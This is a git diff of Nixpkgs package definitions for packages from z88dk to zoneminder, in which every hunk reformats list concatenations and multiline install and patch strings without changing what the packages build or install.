diff --git a/pkgs/by-name/z8/z88dk/package.nix b/pkgs/by-name/z8/z88dk/package.nix
index 2896135dbb15..ca0fd4aaa7ac 100644
--- a/pkgs/by-name/z8/z88dk/package.nix
+++ b/pkgs/by-name/z8/z88dk/package.nix
@@ -60,16 +60,15 @@ let
       url = "mirror://cpan/authors/id/P/PS/PSCUST/Asm-Preproc-1.03.tar.gz";
       hash = "sha256-pVTpIqGxZpBxZlAbXuGDapuOxsp3uM/AM5dKUxlej1M=";
     };
-    propagatedBuildInputs =
-      [
-        IteratorSimpleLookahead
-      ]
-      ++ (with perlPackages; [
-        IteratorSimple
-        TextTemplate
-        DataDump
-        FileSlurp
-      ]);
+    propagatedBuildInputs = [
+      IteratorSimpleLookahead
+    ]
+    ++ (with perlPackages; [
+      IteratorSimple
+      TextTemplate
+      DataDump
+      FileSlurp
+    ]);
     meta = {
       description = "Preprocessor to be called from an assembler";
       license = with lib.licenses; [
@@ -86,14 +85,15 @@ let
       url = "mirror://cpan/authors/id/P/PS/PSCUST/CPU-Z80-Assembler-2.25.tar.gz";
       hash = "sha256-cJ8Fl2KZw9/bnBDUzFuwwdw9x23OUvcftk78kw7abdU=";
     };
-    buildInputs =
-      [ AsmPreproc ]
-      ++ (with perlPackages; [
-        CaptureTiny
-        RegexpTrie
-        PathTiny
-        ClassAccessor
-      ]);
+    buildInputs = [
+      AsmPreproc
+    ]
+    ++ (with perlPackages; [
+      CaptureTiny
+      RegexpTrie
+      PathTiny
+      ClassAccessor
+    ]);
     meta = {
       description = "Functions to assemble a set of Z80 assembly instructions";
       license = with lib.licenses; [
@@ -156,29 +156,28 @@ stdenv.mkDerivation (finalAttrs: {
     "git_count=0"
   ];
 
-  nativeBuildInputs =
-    [
-      which
-      unzip
-      m4
-      perl
-      pkg-config
+  nativeBuildInputs = [
+    which
+    unzip
+    m4
+    perl
+    pkg-config
 
-      # Local perl packages
-      AsmPreproc
-      CPUZ80Assembler
-      ObjectTinyRW
-    ]
-    ++ (with perlPackages; [
-      CaptureTiny
-      DataHexDump
-      ModernPerl
-      PathTiny
-      RegexpCommon
-      TestHexDifferences
-      TextDiff
-      RegexpTrie
-    ]);
+    # Local perl packages
+    AsmPreproc
+    CPUZ80Assembler
+    ObjectTinyRW
+  ]
+  ++ (with perlPackages; [
+    CaptureTiny
+    DataHexDump
+    ModernPerl
+    PathTiny
+    RegexpCommon
+    TestHexDifferences
+    TextDiff
+    RegexpTrie
+  ]);
 
   buildInputs = [
     libxml2
diff --git a/pkgs/by-name/za/zap-chip/package.nix b/pkgs/by-name/za/zap-chip/package.nix
index cd665e81cbc0..4e2615e9116c 100644
--- a/pkgs/by-name/za/zap-chip/package.nix
+++ b/pkgs/by-name/za/zap-chip/package.nix
@@ -58,28 +58,27 @@ buildNpmPackage rec {
 
   nativeBuildInputs = [ makeWrapper ];
 
-  postInstall =
-    ''
-      # this file is also used at runtime
-      install -m644 .version.json $out/lib/node_modules/zap/
-    ''
-    + lib.optionalString (!withGui) ''
-      # home-assistant chip-* python packages need the executable under the name zap-cli
-      mv $out/bin/zap $out/bin/zap-cli
-    ''
-    + lib.optionalString withGui ''
-      pushd dist/linux-*unpacked
-      mkdir -p $out/opt/zap-chip
-      cp -r locales resources{,.pak} $out/opt/zap-chip
-      popd
+  postInstall = ''
+    # this file is also used at runtime
+    install -m644 .version.json $out/lib/node_modules/zap/
+  ''
+  + lib.optionalString (!withGui) ''
+    # home-assistant chip-* python packages need the executable under the name zap-cli
+    mv $out/bin/zap $out/bin/zap-cli
+  ''
+  + lib.optionalString withGui ''
+    pushd dist/linux-*unpacked
+    mkdir -p $out/opt/zap-chip
+    cp -r locales resources{,.pak} $out/opt/zap-chip
+    popd
 
-      rm $out/bin/zap
-      makeWrapper '${lib.getExe electron}' "$out/bin/zap" \
-        --add-flags $out/opt/zap-chip/resources/app.asar \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations}}" \
-        --set-default ELECTRON_IS_DEV 0 \
-        --inherit-argv0
-    '';
+    rm $out/bin/zap
+    makeWrapper '${lib.getExe electron}' "$out/bin/zap" \
+      --add-flags $out/opt/zap-chip/resources/app.asar \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations}}" \
+      --set-default ELECTRON_IS_DEV 0 \
+      --inherit-argv0
+  '';
 
   meta = {
     description = "Generic generation engine and user interface for applications and libraries based on Zigbee Cluster Library (ZCL)";
diff --git a/pkgs/by-name/zc/zchunk/package.nix b/pkgs/by-name/zc/zchunk/package.nix
index 6f1c049e29be..3499eaf5a10c 100644
--- a/pkgs/by-name/zc/zchunk/package.nix
+++ b/pkgs/by-name/zc/zchunk/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     curl
     zstd
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ argp-standalone ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ argp-standalone ];
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/ze/zed-editor/package.nix b/pkgs/by-name/ze/zed-editor/package.nix
index 9a0787af7f57..38f14d49d835 100644
--- a/pkgs/by-name/ze/zed-editor/package.nix
+++ b/pkgs/by-name/ze/zed-editor/package.nix
@@ -101,11 +101,12 @@ rustPlatform.buildRustPackage (finalAttrs: {
   pname = "zed-editor";
   version = "0.189.5";
 
-  outputs =
-    [ "out" ]
-    ++ lib.optionals buildRemoteServer [
-      "remote_server"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildRemoteServer [
+    "remote_server"
+  ];
 
   src = fetchFromGitHub {
     owner = "zed-industries";
@@ -140,54 +141,53 @@ rustPlatform.buildRustPackage (finalAttrs: {
   useFetchCargoVendor = true;
   cargoHash = "sha256-YhdwCNTbBphWugguoWQqrGf2fRB5Jv40MElW6hbcxtk=";
 
-  nativeBuildInputs =
-    [
-      cmake
-      copyDesktopItems
-      curl
-      perl
-      pkg-config
-      protobuf
-      rustPlatform.bindgenHook
-      cargo-about
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ makeBinaryWrapper ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ cargo-bundle ];
+  nativeBuildInputs = [
+    cmake
+    copyDesktopItems
+    curl
+    perl
+    pkg-config
+    protobuf
+    rustPlatform.bindgenHook
+    cargo-about
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ makeBinaryWrapper ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ cargo-bundle ];
 
   dontUseCmakeConfigure = true;
 
-  buildInputs =
-    [
-      curl
-      fontconfig
-      freetype
-      libgit2
-      openssl
-      sqlite
-      zlib
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libxkbcommon
-      wayland
-      xorg.libxcb
-      # required by livekit:
-      libGL
-      libX11
-      libXext
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_15
-      # ScreenCaptureKit, required by livekit, is only available on 12.3 and up:
-      # https://developer.apple.com/documentation/screencapturekit
-      (darwinMinVersionHook "12.3")
-    ];
+  buildInputs = [
+    curl
+    fontconfig
+    freetype
+    libgit2
+    openssl
+    sqlite
+    zlib
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libxkbcommon
+    wayland
+    xorg.libxcb
+    # required by livekit:
+    libGL
+    libX11
+    libXext
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_15
+    # ScreenCaptureKit, required by livekit, is only available on 12.3 and up:
+    # https://developer.apple.com/documentation/screencapturekit
+    (darwinMinVersionHook "12.3")
+  ];
 
   cargoBuildFlags = [
     "--package=zed"
     "--package=cli"
-  ] ++ lib.optionals buildRemoteServer [ "--package=remote_server" ];
+  ]
+  ++ lib.optionals buildRemoteServer [ "--package=remote_server" ];
 
   # Required on darwin because we don't have access to the
   # proprietary Metal shader compiler.
@@ -226,79 +226,77 @@ rustPlatform.buildRustPackage (finalAttrs: {
     writableTmpDirAsHomeHook
   ];
 
-  checkFlags =
-    [
-      # Flaky: unreliably fails on certain hosts (including Hydra)
-      "--skip=zed::tests::test_window_edit_state_restoring_enabled"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # Fails on certain hosts (including Hydra) for unclear reason
-      "--skip=test_open_paths_action"
-    ];
+  checkFlags = [
+    # Flaky: unreliably fails on certain hosts (including Hydra)
+    "--skip=zed::tests::test_window_edit_state_restoring_enabled"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # Fails on certain hosts (including Hydra) for unclear reason
+    "--skip=test_open_paths_action"
+  ];
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      release_target="target/${stdenv.hostPlatform.rust.cargoShortTarget}/release"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # cargo-bundle expects the binary in target/release
-      mv $release_target/zed target/release/zed
+    release_target="target/${stdenv.hostPlatform.rust.cargoShortTarget}/release"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # cargo-bundle expects the binary in target/release
+    mv $release_target/zed target/release/zed
 
-      pushd crates/zed
+    pushd crates/zed
 
-      # Note that this is GNU sed, while Zed's bundle-mac uses BSD sed
-      sed -i "s/package.metadata.bundle-stable/package.metadata.bundle/" Cargo.toml
-      export CARGO_BUNDLE_SKIP_BUILD=true
-      app_path=$(cargo bundle --release | xargs)
+    # Note that this is GNU sed, while Zed's bundle-mac uses BSD sed
+    sed -i "s/package.metadata.bundle-stable/package.metadata.bundle/" Cargo.toml
+    export CARGO_BUNDLE_SKIP_BUILD=true
+    app_path=$(cargo bundle --release | xargs)
 
-      # We're not using Zed's fork of cargo-bundle, so we must manually append their plist extensions
-      # Remove closing tags from Info.plist (last two lines)
-      head -n -2 $app_path/Contents/Info.plist > Info.plist
-      # Append extensions
-      cat resources/info/*.plist >> Info.plist
-      # Add closing tags
-      printf "</dict>\n</plist>\n" >> Info.plist
-      mv Info.plist $app_path/Contents/Info.plist
+    # We're not using Zed's fork of cargo-bundle, so we must manually append their plist extensions
+    # Remove closing tags from Info.plist (last two lines)
+    head -n -2 $app_path/Contents/Info.plist > Info.plist
+    # Append extensions
+    cat resources/info/*.plist >> Info.plist
+    # Add closing tags
+    printf "</dict>\n</plist>\n" >> Info.plist
+    mv Info.plist $app_path/Contents/Info.plist
 
-      popd
+    popd
 
-      mkdir -p $out/Applications $out/bin
-      # Zed expects git next to its own binary
-      ln -s ${lib.getExe git} $app_path/Contents/MacOS/git
-      mv $release_target/cli $app_path/Contents/MacOS/cli
-      mv $app_path $out/Applications/
+    mkdir -p $out/Applications $out/bin
+    # Zed expects git next to its own binary
+    ln -s ${lib.getExe git} $app_path/Contents/MacOS/git
+    mv $release_target/cli $app_path/Contents/MacOS/cli
+    mv $app_path $out/Applications/
 
-      # Physical location of the CLI must be inside the app bundle as this is used
-      # to determine which app to start
-      ln -s $out/Applications/Zed.app/Contents/MacOS/cli $out/bin/zeditor
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -Dm755 $release_target/zed $out/libexec/zed-editor
-      install -Dm755 $release_target/cli $out/bin/zeditor
+    # Physical location of the CLI must be inside the app bundle as this is used
+    # to determine which app to start
+    ln -s $out/Applications/Zed.app/Contents/MacOS/cli $out/bin/zeditor
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -Dm755 $release_target/zed $out/libexec/zed-editor
+    install -Dm755 $release_target/cli $out/bin/zeditor
 
-      install -Dm644 $src/crates/zed/resources/app-icon@2x.png $out/share/icons/hicolor/1024x1024@2x/apps/zed.png
-      install -Dm644 $src/crates/zed/resources/app-icon.png $out/share/icons/hicolor/512x512/apps/zed.png
+    install -Dm644 $src/crates/zed/resources/app-icon@2x.png $out/share/icons/hicolor/1024x1024@2x/apps/zed.png
+    install -Dm644 $src/crates/zed/resources/app-icon.png $out/share/icons/hicolor/512x512/apps/zed.png
 
-      # extracted from https://github.com/zed-industries/zed/blob/v0.141.2/script/bundle-linux (envsubst)
-      # and https://github.com/zed-industries/zed/blob/v0.141.2/script/install.sh (final desktop file name)
-      (
-        export DO_STARTUP_NOTIFY="true"
-        export APP_CLI="zeditor"
-        export APP_ICON="zed"
-        export APP_NAME="Zed"
-        export APP_ARGS="%U"
-        mkdir -p "$out/share/applications"
-        ${lib.getExe envsubst} < "crates/zed/resources/zed.desktop.in" > "$out/share/applications/dev.zed.Zed.desktop"
-      )
-    ''
-    + lib.optionalString buildRemoteServer ''
-      install -Dm755 $release_target/remote_server $remote_server/bin/zed-remote-server-stable-$version
-    ''
-    + ''
-      runHook postInstall
-    '';
+    # extracted from https://github.com/zed-industries/zed/blob/v0.141.2/script/bundle-linux (envsubst)
+    # and https://github.com/zed-industries/zed/blob/v0.141.2/script/install.sh (final desktop file name)
+    (
+      export DO_STARTUP_NOTIFY="true"
+      export APP_CLI="zeditor"
+      export APP_ICON="zed"
+      export APP_NAME="Zed"
+      export APP_ARGS="%U"
+      mkdir -p "$out/share/applications"
+      ${lib.getExe envsubst} < "crates/zed/resources/zed.desktop.in" > "$out/share/applications/dev.zed.Zed.desktop"
+    )
+  ''
+  + lib.optionalString buildRemoteServer ''
+    install -Dm755 $release_target/remote_server $remote_server/bin/zed-remote-server-stable-$version
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   nativeInstallCheckInputs = [
     versionCheckHook
@@ -321,16 +319,15 @@ rustPlatform.buildRustPackage (finalAttrs: {
         zed-editor = finalAttrs.finalPackage;
         additionalPkgs = f;
       };
-    tests =
-      {
-        remoteServerVersion = testers.testVersion {
-          package = finalAttrs.finalPackage.remote_server;
-          command = "zed-remote-server-stable-${finalAttrs.version} version";
-        };
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-        withGles = zed-editor.override { withGLES = true; };
+    tests = {
+      remoteServerVersion = testers.testVersion {
+        package = finalAttrs.finalPackage.remote_server;
+        command = "zed-remote-server-stable-${finalAttrs.version} version";
       };
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+      withGles = zed-editor.override { withGLES = true; };
+    };
   };
 
   meta = {
diff --git a/pkgs/by-name/ze/zeek/package.nix b/pkgs/by-name/ze/zeek/package.nix
index 67bf7bbb9b1f..a539615ea409 100644
--- a/pkgs/by-name/ze/zeek/package.nix
+++ b/pkgs/by-name/ze/zeek/package.nix
@@ -52,44 +52,42 @@ stdenv.mkDerivation rec {
     swig
   ];
 
-  buildInputs =
-    [
-      broker
-      curl
-      gperftools
-      libmaxminddb
-      libpcap
-      ncurses
-      openssl
-      zlib
-      python
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libkqueue
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gettext
-    ];
+  buildInputs = [
+    broker
+    curl
+    gperftools
+    libmaxminddb
+    libpcap
+    ncurses
+    openssl
+    zlib
+    python
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libkqueue
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gettext
+  ];
 
   postPatch = ''
     patchShebangs ./ci/collect-repo-info.py
     patchShebangs ./auxil/spicy/scripts
   '';
 
-  cmakeFlags =
-    [
-      "-DBroker_ROOT=${broker}"
-      "-DENABLE_PERFTOOLS=true"
-      "-DINSTALL_AUX_TOOLS=true"
-      "-DZEEK_ETC_INSTALL_DIR=/etc/zeek"
-      "-DZEEK_LOG_DIR=/var/log/zeek"
-      "-DZEEK_STATE_DIR=/var/lib/zeek"
-      "-DZEEK_SPOOL_DIR=/var/spool/zeek"
-      "-DDISABLE_JAVASCRIPT=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-DLIBKQUEUE_ROOT_DIR=${libkqueue}"
-    ];
+  cmakeFlags = [
+    "-DBroker_ROOT=${broker}"
+    "-DENABLE_PERFTOOLS=true"
+    "-DINSTALL_AUX_TOOLS=true"
+    "-DZEEK_ETC_INSTALL_DIR=/etc/zeek"
+    "-DZEEK_LOG_DIR=/var/log/zeek"
+    "-DZEEK_STATE_DIR=/var/lib/zeek"
+    "-DZEEK_SPOOL_DIR=/var/spool/zeek"
+    "-DDISABLE_JAVASCRIPT=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-DLIBKQUEUE_ROOT_DIR=${libkqueue}"
+  ];
 
   postInstall = ''
     for file in $out/share/zeek/base/frameworks/notice/actions/pp-alarms.zeek $out/share/zeek/base/frameworks/notice/main.zeek; do
diff --git a/pkgs/by-name/ze/zeitgeist/package.nix b/pkgs/by-name/ze/zeitgeist/package.nix
index 6ae5a7341be9..186d555761f2 100644
--- a/pkgs/by-name/ze/zeitgeist/package.nix
+++ b/pkgs/by-name/ze/zeitgeist/package.nix
@@ -28,7 +28,8 @@ stdenv.mkDerivation rec {
     "lib"
     "dev"
     "man"
-  ] ++ lib.optional pythonSupport "py";
+  ]
+  ++ lib.optional pythonSupport "py";
 
   src = fetchFromGitLab {
     domain = "gitlab.freedesktop.org";
diff --git a/pkgs/by-name/ze/zellij/package.nix b/pkgs/by-name/ze/zellij/package.nix
index f699b9a18441..8ff5788648ef 100644
--- a/pkgs/by-name/ze/zellij/package.nix
+++ b/pkgs/by-name/ze/zellij/package.nix
@@ -67,17 +67,16 @@ rustPlatform.buildRustPackage (finalAttrs: {
     runHook postInstallCheck
   '';
 
-  postInstall =
-    ''
-      mandown docs/MANPAGE.md > zellij.1
-      installManPage zellij.1
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd $pname \
-        --bash <($out/bin/zellij setup --generate-completion bash) \
-        --fish <($out/bin/zellij setup --generate-completion fish) \
-        --zsh <($out/bin/zellij setup --generate-completion zsh)
-    '';
+  postInstall = ''
+    mandown docs/MANPAGE.md > zellij.1
+    installManPage zellij.1
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd $pname \
+      --bash <($out/bin/zellij setup --generate-completion bash) \
+      --fish <($out/bin/zellij setup --generate-completion fish) \
+      --zsh <($out/bin/zellij setup --generate-completion zsh)
+  '';
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/ze/zenn-cli/package.nix b/pkgs/by-name/ze/zenn-cli/package.nix
index 9f317a8124e8..e5b1637b88c8 100644
--- a/pkgs/by-name/ze/zenn-cli/package.nix
+++ b/pkgs/by-name/ze/zenn-cli/package.nix
@@ -58,14 +58,13 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-AjdXclrNl1AHJ4LXq9I5Rk6KGyDaWXW187o2uLwRy/o=";
   };
 
-  preBuild =
-    ''
-      echo VITE_EMBED_SERVER_ORIGIN="https://embed.zenn.studio" > packages/zenn-cli/.env
-    ''
-    # replace go-turbo since the existing one can't be executed
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      cp ${go-turbo}/bin/go-turbo node_modules/.pnpm/turbo-linux-*/node_modules/turbo-linux*/bin/go-turbo
-    '';
+  preBuild = ''
+    echo VITE_EMBED_SERVER_ORIGIN="https://embed.zenn.studio" > packages/zenn-cli/.env
+  ''
+  # replace go-turbo since the existing one can't be executed
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    cp ${go-turbo}/bin/go-turbo node_modules/.pnpm/turbo-linux-*/node_modules/turbo-linux*/bin/go-turbo
+  '';
 
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/by-name/ze/zepp-simulator/package.nix b/pkgs/by-name/ze/zepp-simulator/package.nix
index f8d4503660f9..678dd73ac6af 100644
--- a/pkgs/by-name/ze/zepp-simulator/package.nix
+++ b/pkgs/by-name/ze/zepp-simulator/package.nix
@@ -77,34 +77,33 @@ stdenv.mkDerivation {
     asar
   ];
 
-  buildInputs =
-    [
-      # QEMU deps (runtime):
-      glib
-      libgcc
-      libcxx
-      zlib
-      libepoxy
-      libpng
-      libaio
-      xorg.libX11
-      libvterm
-      vte
-      gsasl
-      numactl
-      cyrus_sasl
-      gtk3
-      cairo
-      gdk-pixbuf
-      SDL2
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
-      libjpeg8
-      dtc
-      capstone_4
-      libgbm
-      curlWithGnuTls
-    ];
+  buildInputs = [
+    # QEMU deps (runtime):
+    glib
+    libgcc
+    libcxx
+    zlib
+    libepoxy
+    libpng
+    libaio
+    xorg.libX11
+    libvterm
+    vte
+    gsasl
+    numactl
+    cyrus_sasl
+    gtk3
+    cairo
+    gdk-pixbuf
+    SDL2
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
+    libjpeg8
+    dtc
+    capstone_4
+    libgbm
+    curlWithGnuTls
+  ];
 
   dontBuild = true;
 
diff --git a/pkgs/by-name/ze/zeroad-unwrapped/package.nix b/pkgs/by-name/ze/zeroad-unwrapped/package.nix
index 58298f94c1ea..f58ffb457b77 100644
--- a/pkgs/by-name/ze/zeroad-unwrapped/package.nix
+++ b/pkgs/by-name/ze/zeroad-unwrapped/package.nix
@@ -84,7 +84,8 @@ stdenv.mkDerivation rec {
     freetype
     premake5
     cxxtest
-  ] ++ lib.optional withEditor wxGTK;
+  ]
+  ++ lib.optional withEditor wxGTK;
 
   env.NIX_CFLAGS_COMPILE = toString [
     "-I${xorgproto}/include"
diff --git a/pkgs/by-name/ze/zerotierone/package.nix b/pkgs/by-name/ze/zerotierone/package.nix
index cf39cf4c7cf0..d24bce2af896 100644
--- a/pkgs/by-name/ze/zerotierone/package.nix
+++ b/pkgs/by-name/ze/zerotierone/package.nix
@@ -74,15 +74,14 @@ stdenv.mkDerivation {
     rustc
   ];
 
-  buildInputs =
-    [
-      lzo
-      openssl
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    lzo
+    openssl
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/zf/zfp/package.nix b/pkgs/by-name/zf/zfp/package.nix
index 01919156fc80..91bfc3f1b64c 100644
--- a/pkgs/by-name/zf/zfp/package.nix
+++ b/pkgs/by-name/zf/zfp/package.nix
@@ -58,15 +58,14 @@ stdenv.mkDerivation (finalAttrs: {
     )
   '';
 
-  cmakeFlags =
-    [
-    ]
-    ++ lib.optional enableCfp "-DBUILD_CFP=ON"
-    ++ lib.optional enableCuda "-DZFP_WITH_CUDA=ON"
-    ++ lib.optional enableFortran "-DBUILD_ZFORP=ON"
-    ++ lib.optional enableOpenMP "-DZFP_WITH_OPENMP=ON"
-    ++ lib.optional enablePython "-DBUILD_ZFPY=ON"
-    ++ ([ "-DBUILD_UTILITIES=${if enableUtilities then "ON" else "OFF"}" ]);
+  cmakeFlags = [
+  ]
+  ++ lib.optional enableCfp "-DBUILD_CFP=ON"
+  ++ lib.optional enableCuda "-DZFP_WITH_CUDA=ON"
+  ++ lib.optional enableFortran "-DBUILD_ZFORP=ON"
+  ++ lib.optional enableOpenMP "-DZFP_WITH_OPENMP=ON"
+  ++ lib.optional enablePython "-DBUILD_ZFPY=ON"
+  ++ ([ "-DBUILD_UTILITIES=${if enableUtilities then "ON" else "OFF"}" ]);
 
   doCheck = true;
 
diff --git a/pkgs/by-name/zi/zile/package.nix b/pkgs/by-name/zi/zile/package.nix
index c90fdfba6c5a..0048d286437e 100644
--- a/pkgs/by-name/zi/zile/package.nix
+++ b/pkgs/by-name/zi/zile/package.nix
@@ -27,15 +27,14 @@ stdenv.mkDerivation rec {
     libgee
     ncurses
   ];
-  nativeBuildInputs =
-    [
-      perl
-      pkg-config
-      vala
-    ]
-    # `help2man' wants to run Zile, which won't work when the
-    # newly-produced binary can't be run at build-time.
-    ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) help2man;
+  nativeBuildInputs = [
+    perl
+    pkg-config
+    vala
+  ]
+  # `help2man' wants to run Zile, which won't work when the
+  # newly-produced binary can't be run at build-time.
+  ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) help2man;
 
   # Tests can't be run because most of them rely on the ability to
   # fiddle with the terminal.
diff --git a/pkgs/by-name/zi/zip/package.nix b/pkgs/by-name/zi/zip/package.nix
index 764219b4c880..61b07f74c4ae 100644
--- a/pkgs/by-name/zi/zip/package.nix
+++ b/pkgs/by-name/zi/zip/package.nix
@@ -74,11 +74,11 @@ stdenv.mkDerivation rec {
       url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/app-arch/zip/files/zip-3.0-zipnote-freeze.patch?id=d37d095fc7a2a9e4a8e904a7bf0f597fe99df85a";
       hash = "sha256-EVr7YS3IytnCRjAYUlkg05GA/kaAY9NRFG7uDt0QLAY=";
     })
-  ] ++ lib.optionals (enableNLS && !stdenv.hostPlatform.isCygwin) [ ./natspec-gentoo.patch.bz2 ];
+  ]
+  ++ lib.optionals (enableNLS && !stdenv.hostPlatform.isCygwin) [ ./natspec-gentoo.patch.bz2 ];
 
   buildInputs =
-    lib.optional enableNLS libnatspec
-    ++ lib.optional stdenv.hostPlatform.isCygwin libiconv;
+    lib.optional enableNLS libnatspec ++ lib.optional stdenv.hostPlatform.isCygwin libiconv;
 
   meta = with lib; {
     description = "Compressor/archiver for creating and modifying zipfiles";
diff --git a/pkgs/by-name/zi/zita-resampler/package.nix b/pkgs/by-name/zi/zita-resampler/package.nix
index 3f812c470350..f42074f6f186 100644
--- a/pkgs/by-name/zi/zita-resampler/package.nix
+++ b/pkgs/by-name/zi/zita-resampler/package.nix
@@ -18,16 +18,15 @@ stdenv.mkDerivation rec {
     "SUFFIX="
   ];
 
-  postPatch =
-    ''
-      cd source
-      substituteInPlace Makefile \
-        --replace 'ldconfig' ""
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isx86_64) ''
-      substituteInPlace Makefile \
-        --replace '-DENABLE_SSE2' ""
-    '';
+  postPatch = ''
+    cd source
+    substituteInPlace Makefile \
+      --replace 'ldconfig' ""
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isx86_64) ''
+    substituteInPlace Makefile \
+      --replace '-DENABLE_SSE2' ""
+  '';
 
   fixupPhase = ''
     ln -s $out/lib/libzita-resampler.so.$version $out/lib/libzita-resampler.so.1
diff --git a/pkgs/by-name/zl/zlib-ng/package.nix b/pkgs/by-name/zl/zlib-ng/package.nix
index 86c6ccd48e8a..f80401542969 100644
--- a/pkgs/by-name/zl/zlib-ng/package.nix
+++ b/pkgs/by-name/zl/zlib-ng/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation rec {
     "-DCMAKE_INSTALL_PREFIX=/"
     "-DBUILD_SHARED_LIBS=ON"
     "-DINSTALL_UTILS=ON"
-  ] ++ lib.optionals withZlibCompat [ "-DZLIB_COMPAT=ON" ];
+  ]
+  ++ lib.optionals withZlibCompat [ "-DZLIB_COMPAT=ON" ];
 
   meta = with lib; {
     description = "zlib data compression library for the next generation systems";
diff --git a/pkgs/by-name/zm/zmusic/package.nix b/pkgs/by-name/zm/zmusic/package.nix
index e68cb3db7368..b81fa32190d7 100644
--- a/pkgs/by-name/zm/zmusic/package.nix
+++ b/pkgs/by-name/zm/zmusic/package.nix
@@ -48,7 +48,8 @@ stdenv.mkDerivation rec {
     libsndfile
     mpg123
     zlib
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
 
   meta = {
     description = "GZDoom's music system as a standalone library";
diff --git a/pkgs/by-name/zo/zoneminder/package.nix b/pkgs/by-name/zo/zoneminder/package.nix
index f58c5e7de804..f096dbdd2770 100644
--- a/pkgs/by-name/zo/zoneminder/package.nix
+++ b/pkgs/by-name/zo/zoneminder/package.nix
@@ -161,44 +161,43 @@ stdenv.mkDerivation rec {
       --subst-var-by srcHash "`basename $out`"
   '';
 
-  buildInputs =
-    [
-      curl
-      ffmpeg
-      glib
-      libjpeg
-      libselinux
-      libsepol
-      mp4v2
-      libmysqlclient
-      mariadb
-      pcre
-      perl
-      polkit
-      x264
-      zlib
-      util-linuxMinimal # for libmount
-    ]
-    ++ (with perlPackages; [
-      # build-time dependencies
-      DateManip
-      DBI
-      DBDmysql
-      LWP
-      SysMmap
-      # run-time dependencies not checked at build-time
-      ClassStdFast
-      DataDump
-      DeviceSerialPort
-      JSONMaybeXS
-      LWPProtocolHttps
-      NumberBytesHuman
-      SysCPU
-      SysMemInfo
-      TimeDate
-      CryptEksblowfish
-      DataEntropy # zmupdate.pl
-    ]);
+  buildInputs = [
+    curl
+    ffmpeg
+    glib
+    libjpeg
+    libselinux
+    libsepol
+    mp4v2
+    libmysqlclient
+    mariadb
+    pcre
+    perl
+    polkit
+    x264
+    zlib
+    util-linuxMinimal # for libmount
+  ]
+  ++ (with perlPackages; [
+    # build-time dependencies
+    DateManip
+    DBI
+    DBDmysql
+    LWP
+    SysMmap
+    # run-time dependencies not checked at build-time
+    ClassStdFast
+    DataDump
+    DeviceSerialPort
+    JSONMaybeXS
+    LWPProtocolHttps
+    NumberBytesHuman
+    SysCPU
+    SysMemInfo
+    TimeDate
+    CryptEksblowfish
+    DataEntropy # zmupdate.pl
+  ]);
 
   nativeBuildInputs = [
     cmake
